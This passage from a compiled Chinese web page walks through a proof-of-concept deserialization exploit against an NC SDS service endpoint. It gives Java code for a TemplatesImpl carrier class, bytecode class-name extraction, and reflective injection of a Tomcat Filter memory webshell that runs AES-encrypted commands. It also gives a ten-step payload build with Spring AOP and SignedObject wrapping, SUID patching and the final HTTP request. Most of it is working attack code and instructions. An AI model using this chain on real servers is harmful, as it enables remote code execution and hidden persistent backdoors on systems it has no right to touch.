null\uff0c\u653b\u51fb\u8005\u770b\u4e0d\u5230\u4efb\u4f55\u9519\u8bef\uff0c\u4f46\u94fe\u8def\u5df2\u7ecf\u4e2d\u65ad\u3002\u8fd9\u662f",(0,l.jsx)(n.strong,{children:"\u4e24\u5927\u9759\u9ed8\u5931\u8d25\u9677\u9631"}),"\u3002"]}),"\n",(0,l.jsx)(n.h3,{id:"73-transletclassloader-\u7684\u4f5c\u7528\u57df",children:"7.3 TransletClassLoader \u7684\u4f5c\u7528\u57df"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"TransletClassLoader"})," \u662f TemplatesImpl \u7684\u5185\u90e8\u7c7b\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:"// JDK \u6e90\u7801\uff08\u7b80\u5316\uff09\nstatic final class TransletClassLoader extends ClassLoader {\n TransletClassLoader(ClassLoader parent) {\n super(parent);\n }\n Class defineClass(final byte[] b) {\n return defineClass(null, b, 0, b.length);\n }\n}\n"})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsxs)(n.strong,{children:["\u6240\u6709 ",(0,l.jsx)(n.code,{children:"_bytecodes[]"})," \u90fd\u52a0\u8f7d\u8fdb\u540c\u4e00\u4e2a ",(0,l.jsx)(n.code,{children:"TransletClassLoader"})," \u5b9e\u4f8b"]}),"\uff0c\u56e0\u6b64\uff1a"]}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"_bytecodes[0]"}),"\uff08TxlCarrier\uff09\u52a0\u8f7d\u540e\uff0c\u53ef\u4ee5\u7528 ",(0,l.jsx)(n.code,{children:"Class.forName(shellClassName)"})," \u627e\u5230"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"_bytecodes[1]"}),"\uff08Shell\uff09\u4e5f\u5728\u540c\u4e00\u4e2a ClassLoader \u5185"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"Class.forName(name)"})," \u9ed8\u8ba4\u4f7f\u7528",(0,l.jsx)(n.strong,{children:"\u8c03\u7528\u65b9\u7684\u7c7b\u52a0\u8f7d\u5668"}),"\uff08\u5373 TransletClassLoader\uff09"]}),"\n"]}),"\n",(0,l.jsxs)(n.p,{children:["\u8fd9\u5c31\u662f\u4e3a\u4ec0\u4e48 Shell \u6ce8\u5165\u65f6\u4e0d\u9700\u8981\u663e\u5f0f\u4f20\u5165 ClassLoader\uff1aTxlCarrier \u88ab TransletClassLoader \u52a0\u8f7d\uff0c\u5176 ",(0,l.jsx)(n.code,{children:"Class.forName()"})," \u81ea\u7136\u5728\u540c\u4e00 ClassLoader \u4e2d\u67e5\u627e\u3002"]}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h2,{id:"\u516btxlcarrier-\u8bbe\u8ba1\u4e3a\u4ec0\u4e48\u9700\u8981\u5047-abstracttranslet",children:"\u516b\u3001TxlCarrier \u8bbe\u8ba1\uff1a\u4e3a\u4ec0\u4e48\u9700\u8981\u5047 AbstractTranslet"}),"\n",(0,l.jsx)(n.h3,{id:"81-\u771f\u5b9e-abstracttranslet-\u7684\u95ee\u9898",children:"8.1 \u771f\u5b9e AbstractTranslet \u7684\u95ee\u9898"}),"\n",(0,l.jsxs)(n.p,{children:["\u5982\u679c\u76f4\u63a5\u7528\u670d\u52a1\u5668 xalan \u5305\u4e2d\u771f\u5b9e\u7684 ",(0,l.jsx)(n.code,{children:"AbstractTranslet"}),"\uff08",(0,l.jsx)(n.code,{children:"com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"}),"\uff09\uff0cjavac \u7f16\u8bd1 TxlCarrier \u65f6\u4f1a\u8981\u6c42\u5b9e\u73b0\u62bd\u8c61\u65b9\u6cd5\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:"// \u771f\u5b9e AbstractTranslet \u542b\u591a\u4e2a\u62bd\u8c61\u65b9\u6cd5\uff08\u7b80\u5316\uff09\npublic abstract class AbstractTranslet {\n public abstract void transform(DOM dom, SerializationHandler handler)\n throws TransletException;\n public abstract void transform(DOM dom, SerializationHandler[] handlers)\n throws TransletException;\n // ...\n}\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u5982\u679c TxlCarrier \u5b9e\u73b0\u8fd9\u4e9b\u65b9\u6cd5\uff0c\u65b9\u6cd5\u7b7e\u540d\u4e2d\u5c31\u4f1a\u5305\u542b ",(0,l.jsx)(n.code,{children:"DOM"}),"\u3001",(0,l.jsx)(n.code,{children:"SerializationHandler"}),"\u3001",(0,l.jsx)(n.code,{children:"DTMAxisIterator"})," \u7b49 Xalan \u63a5\u53e3\u7c7b\u578b\u7684\u5f15\u7528\u3002\u5728 ",(0,l.jsx)(n.code,{children:"defineClass()"})," \u65f6\uff0cJVM \u5b57\u8282\u7801\u9a8c\u8bc1\u5668\u4f1a\u5c1d\u8bd5\u52a0\u8f7d\u8fd9\u4e9b\u63a5\u53e3\uff0c\u800c\u670d\u52a1\u5668\u7684 xalan \u7248\u672c\u53ef\u80fd\u6ca1\u6709\u5b8c\u5168\u5bf9\u5e94\u7684\u7c7b\uff0c\u5bfc\u81f4\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"java.lang.VerifyError: class TxlCarrier overrides final method...\n// \u6216\njava.lang.NoClassDefFoundError: org/apache/xml/dtm/DTMAxisIterator\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u8fd9\u4e2a\u9519\u8bef\u88ab ",(0,l.jsx)(n.code,{children:"defineTransletClasses()"})," \u7684 ",(0,l.jsx)(n.code,{children:"catch (LinkageError e)"})," ",(0,l.jsx)(n.strong,{children:"\u9759\u9ed8\u541e\u6389"}),"\uff0c\u6574\u6761\u94fe\u8def\u65e0\u58f0\u5931\u8d25\u3002"]}),"\n",(0,l.jsx)(n.h3,{id:"82-\u5047-abstracttranslet-\u65b9\u6848",children:"8.2 \u5047 AbstractTranslet \u65b9\u6848"}),"\n",(0,l.jsxs)(n.p,{children:["\u7f16\u8bd1\u65f6\u7528\u4e00\u4e2a",(0,l.jsx)(n.strong,{children:"\u7a7a\u7684\u3001\u65e0\u62bd\u8c61\u65b9\u6cd5\u7684\u5047 AbstractTranslet"}),"\u66ff\u4ee3\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:"// \u5047 AbstractTranslet\uff1a\u653e\u5728\u6b63\u786e\u7684\u5305\u8def\u5f84\u4e0b\uff0c\u4f46\u6ca1\u6709\u4efb\u4f55\u62bd\u8c61\u65b9\u6cd5\npackage org.apache.xalan.xsltc.runtime;\npublic class AbstractTranslet {\n // \u7a7a\u7c7b\uff0c\u65e0\u62bd\u8c61\u65b9\u6cd5\n}\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u6b64\u65f6 TxlCarrier \u7ee7\u627f\u8fd9\u4e2a\u5047\u7c7b\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:'// TxlCarrier.java\uff08\u6700\u7ec8\u7248\u672c\uff09\npublic class TxlCarrier extends org.apache.xalan.xsltc.runtime.AbstractTranslet {\n static {\n try {\n Class.forName("org.apache.logging.ly.KeyUtils"); // Shell \u7c7b\u540d\uff0c\u8fd0\u884c\u65f6\u66ff\u6362\n } catch (Throwable t) {}\n }\n // \u4e0d\u9700\u8981\u5b9e\u73b0\u4efb\u4f55\u65b9\u6cd5\uff01\n}\n'})}),"\n",(0,l.jsxs)(n.p,{children:["TxlCarrier \u7684\u5b57\u8282\u7801\u4e2d",(0,l.jsx)(n.strong,{children:"\u4e0d\u542b\u4efb\u4f55\u5bf9 Xalan \u63a5\u53e3\u7684\u65b9\u6cd5\u5f15\u7528"}),"\uff0c\u5b57\u8282\u7801\u9a8c\u8bc1\u5b8c\u5168\u901a\u8fc7\u3002"]}),"\n",(0,l.jsx)(n.h3,{id:"83-\u52a8\u6001\u7f16\u8bd1\u6d41\u7a0b",children:"8.3 \u52a8\u6001\u7f16\u8bd1\u6d41\u7a0b"}),"\n",(0,l.jsxs)(n.p,{children:["PoC \u5728\u8fd0\u884c\u65f6\u7528 ",(0,l.jsx)(n.code,{children:"javax.tools.JavaCompiler"})," \u52a8\u6001\u7f16\u8bd1 TxlCarrier\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:'static byte[] buildCarrier(String shellClassName) throws Exception {\n JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();\n\n // 1. \u5728\u4e34\u65f6\u76ee\u5f55\u521b\u5efa\u5047 AbstractTranslet\n Path tmp = Files.createTempDirectory("txlpoc_");\n Path atDir = tmp.resolve("org/apache/xalan/xsltc/runtime");\n Files.createDirectories(atDir);\n Files.write(atDir.resolve("AbstractTranslet.java"),\n "package org.apache.xalan.xsltc.runtime;\\npublic class AbstractTranslet {}\\n"\n .getBytes("UTF-8"));\n\n // 2. \u7528 Shell \u7c7b\u540d\u586b\u5145 TxlCarrier \u6e90\u7801\u6a21\u677f\n String txlSrc = String.format(\n "public class TxlCarrier extends org.apache.xalan.xsltc.runtime.AbstractTranslet {\\n" +\n " static { try { Class.forName(\\"%s\\"); } catch (Throwable t) {} }\\n" +\n "}\\n", shellClassName);\n Path carrierSrc = tmp.resolve("TxlCarrier.java");\n Files.write(carrierSrc, txlSrc.getBytes("UTF-8"));\n\n // 3. \u7f16\u8bd1\uff0c\u5f3a\u5236 -source 8 -target 8\uff08\u670d\u52a1\u5668 Java 8\uff09\n List opts = Arrays.asList("-source", "8", "-target", "8",\n "-d", tmp.toString());\n boolean ok = compiler.getTask(null, fm, diag, opts, null, units).call();\n\n // 4. \u8bfb\u53d6 TxlCarrier.class \u5b57\u8282\u7801\n return Files.readAllBytes(tmp.resolve("TxlCarrier.class"));\n}\n'})}),"\n",(0,l.jsx)(n.h3,{id:"84-\u4e3a\u4ec0\u4e48\u5fc5\u987b--source-8--target-8",children:"8.4 \u4e3a\u4ec0\u4e48\u5fc5\u987b -source 8 -target 8"}),"\n",(0,l.jsxs)(n.p,{children:["Java class \u6587\u4ef6\u683c\u5f0f\u7b2c 6-7 \u5b57\u8282\u662f ",(0,l.jsx)(n.code,{children:"major_version"}),"\uff1a"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{children:"Java \u7248\u672c"}),(0,l.jsx)(n.th,{children:"major_version"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"Java 8"}),(0,l.jsx)(n.td,{children:"52 (0x34)"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"Java 11"}),(0,l.jsx)(n.td,{children:"55 (0x37)"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"Java 17"}),(0,l.jsx)(n.td,{children:"61 (0x3D)"})]})]})]}),"\n",(0,l.jsxs)(n.p,{children:["\u670d\u52a1\u5668\u8fd0\u884c Java 8 JVM\uff0c\u5f53 ",(0,l.jsx)(n.code,{children:"defineClass()"})," \u52a0\u8f7d major_version > 52 \u7684\u5b57\u8282\u7801\u65f6\uff0c\u629b ",(0,l.jsx)(n.code,{children:"UnsupportedClassVersionError"}),"\uff08",(0,l.jsx)(n.code,{children:"ClassFormatError"})," \u7684\u5b50\u7c7b\uff09\uff0c\u88ab ",(0,l.jsx)(n.code,{children:"defineTransletClasses()"})," \u7684 catch \u5757\u9759\u9ed8\u541e\u6389\u3002"]}),"\n",(0,l.jsx)(n.p,{children:"\u5982\u679c\u4f7f\u7528 Java 11+ \u7684 JDK \u7f16\u8bd1\u4f46\u4e0d\u6307\u5b9a target\uff0c\u9ed8\u8ba4\u751f\u6210 major=55 \u7684\u5b57\u8282\u7801\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"TxlCarrier.class \u5b57\u8282 6-7: 00 37 \uff08major=55\uff0cJava 11\uff09\n \u2193 \u670d\u52a1\u5668\u52a0\u8f7d\u65f6\uff1aUnsupportedClassVersionError \u2192 \u9759\u9ed8\u5931\u8d25\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u52a0\u4e0a ",(0,l.jsx)(n.code,{children:"-source 8 -target 8"})," \u540e\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"TxlCarrier.class \u5b57\u8282 6-7: 00 34 \uff08major=52\uff0cJava 8\uff09\n \u2193 \u670d\u52a1\u5668\u52a0\u8f7d\u6210\u529f \u2192 \u6267\u884c\n"})}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h2,{id:"\u4e5d\u4ece-shell-\u5b57\u8282\u7801\u63d0\u53d6\u7c7b\u540d",children:"\u4e5d\u3001\u4ece Shell \u5b57\u8282\u7801\u63d0\u53d6\u7c7b\u540d"}),"\n",(0,l.jsxs)(n.p,{children:["PoC \u9700\u8981\u4ece Shell.class \u5b57\u8282\u7801\u4e2d\u81ea\u52a8\u63d0\u53d6\u7c7b\u540d\uff0c\u4ee5\u586b\u5165 TxlCarrier \u7684 ",(0,l.jsx)(n.code,{children:"Class.forName()"})," \u53c2\u6570\u3002"]}),"\n",(0,l.jsx)(n.h3,{id:"91-java-class-\u6587\u4ef6\u5e38\u91cf\u6c60\u7ed3\u6784",children:"9.1 Java class \u6587\u4ef6\u5e38\u91cf\u6c60\u7ed3\u6784"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"class \u6587\u4ef6\u683c\u5f0f\uff08\u7b80\u5316\uff09\uff1a\nOffset Size \u542b\u4e49\n 0 4 magic: CA FE BA BE\n 4 2 minor_version\n 6 2 major_version\n 8 2 constant_pool_count\uff08\u5e38\u91cf\u6570 + 1\uff09\n 10 ... constant_pool[]\uff08\u53d8\u957f\uff09\n ... 2 this_class\uff08\u6307\u5411 constant_pool \u7684 CONSTANT_Class \u7d22\u5f15\uff09\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u5e38\u91cf\u6c60\u6bcf\u4e2a\u6761\u76ee\u7684\u7b2c\u4e00\u4e2a\u5b57\u8282\u662f tag\uff1a"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"tag=7"}),"\uff08CONSTANT_Class\uff09\uff1a\u540e\u8ddf 2B \u6307\u5411 CONSTANT_Utf8 \u7684\u7d22\u5f15"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"tag=1"}),"\uff08CONSTANT_Utf8\uff09\uff1a\u540e\u8ddf 2B \u957f\u5ea6 + N \u5b57\u8282 UTF-8 \u5b57\u7b26\u4e32"]}),"\n"]}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"this_class"})," \u2192 CONSTANT_Class \u2192 CONSTANT_Utf8 \u2192 \u7c7b\u7684\u4e8c\u8fdb\u5236\u540d\uff08\u7528 ",(0,l.jsx)(n.code,{children:"/"})," \u5206\u9694\uff0c\u5982 ",(0,l.jsx)(n.code,{children:"org/apache/commons/lang/v/SOAPUtils"}),"\uff09"]}),"\n",(0,l.jsx)(n.h3,{id:"92-\u63d0\u53d6\u4ee3\u7801",children:"9.2 \u63d0\u53d6\u4ee3\u7801"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:"static String extractClassName(byte[] b) throws Exception {\n // \u8df3\u8fc7 magic(4) + minor(2) + major(2) = 8 \u5b57\u8282\n int cpCount = ((b[8] & 0xFF) << 8) | (b[9] & 0xFF); // \u5e38\u91cf\u6c60\u5927\u5c0f\n\n // \u89e3\u6790\u6240\u6709\u5e38\u91cf\u6c60\u6761\u76ee\uff0c\u5efa\u7acb index\u2192value \u6620\u5c04\n int[] tag = new int[cpCount];\n String[] utf8 = new String[cpCount];\n int[] classRef = new int[cpCount]; // Class \u6761\u76ee\u6307\u5411\u7684 Utf8 \u7d22\u5f15\n int pos = 10;\n\n for (int i = 1; i < cpCount; i++) {\n tag[i] = b[pos++] & 0xFF;\n switch (tag[i]) {\n case 1: // CONSTANT_Utf8\n int len = ((b[pos]&0xFF)<<8)|(b[pos+1]&0xFF); pos+=2;\n utf8[i] = new String(b, pos, len, \"UTF-8\"); pos += len;\n break;\n case 7: // CONSTANT_Class\n classRef[i] = ((b[pos]&0xFF)<<8)|(b[pos+1]&0xFF); pos+=2;\n break;\n case 8: case 16: pos+=2; break; // String, MethodType\n case 3: case 4: case 9: case 10:\n case 11: case 12: case 18: pos+=4; break;\n case 5: case 6: pos+=8; i++; break; // Long/Double \u5360\u4e24\u4e2a\u69fd\n case 15: pos+=3; break;\n case 19: case 20: pos+=2; break;\n default: throw new RuntimeException(\"Unknown CP tag: \" + tag[i]);\n }\n }\n\n // \u8bfb\u53d6 this_class\uff08\u5728\u5e38\u91cf\u6c60\u540e\u9762\uff09\n int thisClass = ((b[pos]&0xFF)<<8)|(b[pos+1]&0xFF);\n // this_class \u2192 classRef[thisClass] \u2192 utf8 \u5b57\u7b26\u4e32\uff08\u4e8c\u8fdb\u5236\u540d\uff0c/ \u5206\u9694\uff09\n String binaryName = utf8[classRef[thisClass]];\n return binaryName.replace('/', '.'); // \u8f6c\u4e3a\u70b9\u5206\u7c7b\u540d\n}\n"})}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h2,{id:"\u5341tomcat-filter-\u5185\u5b58\u9a6c\u6ce8\u5165\u8be6\u89e3",children:"\u5341\u3001Tomcat Filter \u5185\u5b58\u9a6c\u6ce8\u5165\u8be6\u89e3"}),"\n",(0,l.jsx)(n.h3,{id:"101-\u6ce8\u5165\u76ee\u6807standardcontext",children:"10.1 \u6ce8\u5165\u76ee\u6807\uff1aStandardContext"}),"\n",(0,l.jsxs)(n.p,{children:["Tomcat \u7684 Filter \u94fe\u7531 ",(0,l.jsx)(n.code,{children:"StandardContext"})," \u7ba1\u7406\u3002\u5173\u952e\u5b57\u6bb5\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:"// org.apache.catalina.core.StandardContext\uff08\u7b80\u5316\uff09\npublic class StandardContext extends ContainerBase {\n private Map filterConfigs; // Filter \u5b9e\u4f8b\u6620\u5c04\n private Map filterDefs; // Filter \u5b9a\u4e49\u6620\u5c04\n private FilterMap[] filterMaps; // URL \u6620\u5c04\u6570\u7ec4\n}\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u6ce8\u5165\u6d41\u7a0b\uff1a\u5411\u8fd9\u4e09\u4e2a\u6570\u636e\u7ed3\u6784\u4e2d\u6dfb\u52a0\u9879\uff0c\u6a21\u62df Tomcat \u542f\u52a8\u65f6\u52a0\u8f7d web.xml \u7684\u6548\u679c\u3002"}),"\n",(0,l.jsx)(n.h3,{id:"102-\u83b7\u53d6-standardcontext-\u7684\u65b9\u6cd5",children:"10.2 \u83b7\u53d6 StandardContext \u7684\u65b9\u6cd5"}),"\n",(0,l.jsxs)(n.p,{children:["\u5185\u5b58\u9a6c\u6ce8\u5165\u65f6\uff0c\u6ca1\u6709\u76f4\u63a5\u7684 ",(0,l.jsx)(n.code,{children:"ServletContext"})," \u5f15\u7528\uff0c\u9700\u8981\u901a\u8fc7\u7ebf\u7a0b\u53cd\u5c04\u83b7\u53d6\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:'// \u65b9\u6cd5\uff1a\u4ece\u5f53\u524d\u7ebf\u7a0b\u83b7\u53d6 Tomcat \u4e0a\u4e0b\u6587\nThread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");\nfor (Thread t : threads) {\n if (t.getName().contains("ContainerBackgroundProcessor")) continue;\n Object target = getField(t, "target"); // Runnable\n Object children = invokeMethod(target, "getContext");\n // \u904d\u5386\u76f4\u5230\u627e\u5230 StandardContext\n for (Object ctx : (List)children) {\n if (ctx.getClass().getName().contains("StandardContext")) {\n standardContext = ctx;\n break;\n }\n }\n}\n'})}),"\n",(0,l.jsx)(n.h3,{id:"103-\u52a8\u6001\u5b9a\u4e49\u5e76\u6ce8\u518c-filter",children:"10.3 \u52a8\u6001\u5b9a\u4e49\u5e76\u6ce8\u518c Filter"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:'// 1. \u4ece Base64 \u89e3\u5bc6 Filter \u5b57\u8282\u7801\nbyte[] filterBytes = gzipDecompress(decodeBase64(BASE64_FILTER_BYTES));\n\n// 2. \u7528 Catalina \u7684 ClassLoader \u52a0\u8f7d Filter \u7c7b\uff08\u907f\u514d ClassLoader \u9694\u79bb\u95ee\u9898\uff09\nClassLoader catalinaLoader = getCatalinaLoader(standardContext);\nClass filterClass = loadClass(catalinaLoader, filterName, filterBytes);\n\n// 3. \u521b\u5efa FilterDef\nObject filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef")\n .newInstance();\ninvokeMethod(filterDef, "setFilterName", filterName);\ninvokeMethod(filterDef, "setFilterClass", filterClass.getName());\n// \u5411 StandardContext \u6ce8\u518c FilterDef\ninvokeMethod(standardContext, "addFilterDef", filterDef);\n\n// 4. \u521b\u5efa FilterMap\uff08URL \u6a21\u5f0f /*\uff09\nObject filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap")\n .newInstance();\ninvokeMethod(filterMap, "setFilterName", filterName);\ninvokeMethod(filterMap, "addURLPattern", "/*");\ninvokeMethod(filterMap, "setDispatcher", "REQUEST");\n// \u63d2\u5230\u8fc7\u6ee4\u5668\u94fe\u6700\u524d\u7aef\uff08addFilterMapBefore \u4f18\u5148\u4e8e addFilterMap\uff09\ninvokeMethod(standardContext, "addFilterMapBefore", filterMap);\n\n// 5. \u5b9e\u4f8b\u5316 ApplicationFilterConfig\uff0c\u6ce8\u5165 filterConfigs\nObject filterConfig = createFilterConfig(standardContext, filterDef);\nMap filterConfigs = (Map) getField(standardContext, "filterConfigs");\nfilterConfigs.put(filterName, filterConfig);\n'})}),"\n",(0,l.jsx)(n.h3,{id:"104-\u51b0\u874e\u5185\u5b58\u9a6c\u8bf7\u6c42\u5904\u7406\u6d41\u7a0b",children:"10.4 \u51b0\u874e\u5185\u5b58\u9a6c\u8bf7\u6c42\u5904\u7406\u6d41\u7a0b"}),"\n",(0,l.jsx)(n.p,{children:"\u6ce8\u5165\u6210\u529f\u540e\uff0c\u4efb\u4f55\u5230\u8fbe\u8be5 Tomcat \u5b9e\u4f8b\u7684 HTTP \u8bf7\u6c42\u90fd\u4f1a\u7ecf\u8fc7 Filter\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"HTTP \u8bf7\u6c42\u5230\u8fbe\n \u2192 Tomcat \u6784\u5efa FilterChain\uff08\u4ece filterMaps \u4e2d\u5339\u914d /*\uff09\n \u2192 \u5185\u5b58\u9a6c Filter.doFilter() \u6700\u5148\u6267\u884c\n \u251c\u2500 \u8bfb\u53d6\u8bf7\u6c42\u5934 User-Agent \u662f\u5426\u5339\u914d\u7ea6\u5b9a\u503c\n \u251c\u2500 \u5982\u679c\u5339\u914d\uff1a\u8bfb\u53d6\u8bf7\u6c42\u4f53\uff0cAES \u89e3\u5bc6\u5f97\u5230\u547d\u4ee4\n \u2502 \u251c\u2500 \u6267\u884c\u547d\u4ee4\uff08exec/\u53cd\u5c04\u8c03\u7528\uff09\n \u2502 \u2514\u2500 AES \u52a0\u5bc6\u7ed3\u679c\u5199\u56de\u54cd\u5e94\n \u2514\u2500 \u5982\u679c\u4e0d\u5339\u914d\uff1achain.doFilter() \u6b63\u5e38\u653e\u884c\n"})}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h2,{id:"\u5341\u4e00\u5b8c\u6574-payload-\u6784\u9020\u6d41\u7a0b\u6b65\u9aa4\u7ea7",children:"\u5341\u4e00\u3001\u5b8c\u6574 Payload \u6784\u9020\u6d41\u7a0b\uff08\u6b65\u9aa4\u7ea7\uff09"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:'Step 1 \u8bfb\u53d6 Shell.class \u5b57\u8282\u7801\n - \u5c06\u51b0\u874e/\u54e5\u65af\u62c9\u5de5\u5177\u751f\u6210\u7684\u6ce8\u5165\u5668 class \u7684 Base64 \u89e3\u7801\u4e3a\u5b57\u8282\u6570\u7ec4\n - \u5982 org.apache.commons.lang.v.SOAPUtils\uff0817108 \u5b57\u8282\uff09\n\nStep 2 \u63d0\u53d6 Shell \u7c7b\u540d\n - \u89e3\u6790\u5b57\u8282\u7801\u5e38\u91cf\u6c60\uff08\u89c1\u7b2c\u4e5d\u7ae0\uff09\n - \u5f97\u5230\u70b9\u5206\u7c7b\u540d\uff1aorg.apache.commons.lang.v.SOAPUtils\n\nStep 3 \u52a8\u6001\u7f16\u8bd1 TxlCarrier\uff08Java 8\uff09\n - \u521b\u5efa\u4e34\u65f6\u76ee\u5f55\uff0c\u5199\u5165\u5047 AbstractTranslet.java\n - \u7528 shellClassName \u586b\u5145 TxlCarrier.java \u6a21\u677f\n - javac -source 8 -target 8 \u7f16\u8bd1\u4e24\u4e2a\u6587\u4ef6\n - \u8bfb\u53d6 TxlCarrier.class\uff08\u7ea6 400-600 \u5b57\u8282\uff09\n - \u9a8c\u8bc1 major_version = 52\uff080x34\uff09\n\nStep 4 \u6784\u5efa\u5185\u5c42 TemplatesImpl\n - new TemplatesImpl()\n - setField("_bytecodes", new byte[][]{carrierBytes, shellBytes})\n - setField("_name", "x") // \u5fc5\u987b\u975e\u7a7a\uff0c\u5426\u5219 getTransletInstance \u76f4\u63a5\u8fd4\u56de null\n - setField("_tfactory", new TransformerFactoryImpl()) // \u67d0\u4e9b\u7248\u672c\u9700\u8981\n - setField("_class", null) // \u5f3a\u5236\u91cd\u65b0 defineClass\n\nStep 5 \u6784\u5efa\u5185\u5c42 Spring AOP PriorityQueue\n - AdvisedSupport.targetSource = SingletonTargetSource(templatesImpl)\n - advisor = AspectJMethodBeforeAdvice \u7ed1\u5b9a getOutputProperties \u65b9\u6cd5\n - PQ comparator = JdkDynamicAopProxy(advisedSupport) \u4ee3\u7406 Comparator\n - PQ.queue = [templatesImpl, templatesImpl], size = 2\n\nStep 6 \u7528 SignedObject \u5305\u88c5\u5185\u5c42\u94fe\n - \u751f\u6210\u4e34\u65f6 RSA 2048 \u5bc6\u94a5\u5bf9\uff08\u4e0d\u9700\u8981\u9884\u5171\u4eab\uff09\n - SignedObject(innerPQ, privateKey, SHA256withRSA)\n - \u5185\u5c42\u94fe\u88ab\u5e8f\u5217\u5316\u8fdb SignedObject.content \u5b57\u8282\u6570\u7ec4\n\nStep 7 \u6784\u5efa\u5916\u5c42 Spring AOP PriorityQueue\n - AdvisedSupport.targetSource = SingletonTargetSource(signedObject)\n - advisor = AspectJMethodBeforeAdvice \u7ed1\u5b9a getObject \u65b9\u6cd5\n - PQ comparator = JdkDynamicAopProxy(advisedSupport)\n - PQ.queue = [signedObject, signedObject], size = 2\n\nStep 8 Java \u5e8f\u5217\u5316\n - ObjectOutputStream.writeObject(outerPQ)\n - \u5f97\u5230\u5e8f\u5217\u5316\u5b57\u8282\u6d41\n\nStep 9 Patch SUID\n - \u5728\u5e8f\u5217\u5316\u5b57\u8282\u6d41\u4e2d\u5b9a\u4f4d AspectJExpressionPointcut \u7c7b\u540d\n - \u5c06\u7d27\u968f\u5176\u540e\u7684 SUID \u4ece -1412488595531480267L \u66ff\u6362\u4e3a -2303280975268180194L\n - EC B7 CA 46 1A 59 B6 75 \u2192 E0 01 9E DC 53 7B 26 3E\n\nStep 10 NC SDS \u5c01\u5305\n - body = [72 71 89 00] + \u5e8f\u5217\u5316\u5b57\u8282\u6d41\n - \u6700\u7ec8 = [4B Big-Endian(body.length)] + body\n - \u5199\u5165 payload.bin\uff0c\u603b\u5927\u5c0f\u7ea6 21684 \u5b57\u8282\n'})}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h2,{id:"\u5341\u4e8chttp-\u8bf7\u6c42\u683c\u5f0f",children:"\u5341\u4e8c\u3001HTTP \u8bf7\u6c42\u683c\u5f0f"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-http",children:"POST /ServiceDispatcherServlet/NCSysBrokerServlet HTTP/1.1\nHost: :\nContent-Type: application/octet-stream\nserverEnable: localserver\nContent-Length: 21684\n\n\n"})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.strong,{children:"\u6ce8\u610f\u4e8b\u9879"}),"\uff1a"]}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"Content-Type"})," \u5fc5\u987b\u4e3a ",(0,l.jsx)(n.code,{children:"application/octet-stream"}),"\uff0c\u5426\u5219\u670d\u52a1\u7aef\u53ef\u80fd\u62d2\u7edd"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"serverEnable: localserver"})," \u662f NC SDS 